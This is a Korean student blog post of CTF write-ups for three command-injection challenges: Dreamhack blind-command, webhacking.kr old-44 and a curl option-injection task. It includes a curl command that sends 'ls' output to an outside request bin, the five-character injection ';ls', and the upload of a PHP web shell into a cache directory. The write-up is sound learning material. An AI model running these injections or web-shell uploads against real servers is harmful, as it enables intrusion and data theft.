Layer7 동아리 과제

웹 해킹 8차시 과제

msh1307 2022. 5. 25. 08:26

blind-command 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from flask import Flask, request
import os
 
app = Flask(__name__)
 
@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd''')
    if not cmd:
        return "?cmd=[cmd]"
 
    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd
 
app.run(host='0.0.0.0', port=8000)
cs

blind-command 풀이


/에 허용된 메소드는 GET이다. 

cmd를 파라미터로 받는다. 

그리고 request.method가 'GET'이 아니라면, 파라미터로 받은 cmd를 실행시켜준다. 

HTTP 메소드중 GET과 관련된 메소드를 찾아보았다.

https://developer.mozilla.org/ko/docs/Web/HTTP/Methods

 

HTTP 요청 메서드 - HTTP | MDN

HTTP는 요청 메서드를 정의하여, 주어진 리소스에 수행하길 원하는 행동을 나타냅니다. 간혹 요청 메서드를 "HTTP 동사"라고 부르기도 합니다. 각각의 메서드는 서로 다른 의미를 구현하지만, 일부

developer.mozilla.org

HEAD의 설명이 GET으로 요청했을때 헤더를 요청하는 메소드라고 한다.

curl https://afqpaws.request.dreamhack.games -d "$(ls)"를 파라미터로 넘겨줘서 드림핵 툴즈 Request Bin으로 요청을 보내게 했다.

HEAD 메소드는 GET으로 요청했을 때의 헤더를 요청하는 메소드임으로, GET으로 요청했을 때와 같은 효과를 낼 수 있을 것이다.

200이 떠있으니 잘 요청이 간 것을 확인할 수 있다.

flag.py가 보인다. 

flag.py를 읽도록 명령을 보내보겠다.

확인할 수 있다.

 

webhacking.kr old-44 문제


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>
 
cs

webhacking.kr old-44 풀이


소스 코드를 보면 5글자로 제한이 되어있는 것을 확인할 수 있다.

대신 필터링이 없다.

'ls;를 적어서 보내면, 아예 출력이 되지 않는 것을 확인할 수 있다.

그렇다면 5글자에 맞춰서 오류가 뜨지 않도록 해야 한다.

 

쉘에서 ''를 뒤에 붙이거나 안에 명령어를 적어도 명령 자체는 잘 실행이 된다.

그걸 이용해서 ';ls'를 입력해서 보내주면, 딱 5글자로 echo 'hello! ';ls''가 된다. 

쉘에 적어보면 알 수 있듯이, 오류를 반환하지 않는다. 

입력해보면 결과를 알 수 있다.

저 flag를 적으려고 삽질을 조금 했는데, index.php를 보고 path에다 적어봤다.

FLAG가 나왔다.

Command Injection advanced 소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url'http'!== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file$result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>
 
cs

Command Injection advanced 풀이


-는 필터링하지 않기 때문에 curl에 옵션을 마음대로 줄 수 있다. 

curl --help를 통해서 옵션을 살펴보면 -o를 통해서 stdout대신에 파일을 쓸 수 있다.

또 -T를 통해서 파일을 업로드할 수도 있다.

또한 -d를 통해서 post로 데이터를 보낼수도 있다.

-d @filename을 통해서 파일을 읽어서 post로 보낼 수 있다.

 

-d로는 어떤 파일에 flag가 있는지 몰라서 @./flag*등을 사용해서 읽어보려고 했는데, 읽을 수 없었다.

-T도 비슷했다.

-o로 파일 업로드를 하려고 보니, 문제에 경로가 ./cache/이런식으로 주어줬고 접근이 가능하기 때문에 웹쉘을 올리고 flag를 찾아보겠다.

웹 쉘 php를 깃헙에서 찾았고 curl을 이용해서 웹쉘을 업로드하면 된다.

https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php

코드가 정상적으로 올라갔다. 

실행시키려고 뒤에 .php를 붙여서 다시 올려줬다.

여기서 좀 찾아보면 flag를 발견할 수 있다.

/flag를 찾았다. 

cat /flag가 안되길래 ls -al로 확인했다.

/flag에 실행권한만 있다. 

flag를 얻었다.

'Layer7 동아리 과제' 카테고리의 다른 글

하드웨어 2차시 과제  (0) 2022.06.11
하드웨어 1차시 과제  (0) 2022.06.08
웹 해킹 7차시 과제  (0) 2022.05.22
웹 해킹 6차시 과제  (0) 2022.05.19
웹 해킹 4차시 과제  (0) 2022.05.16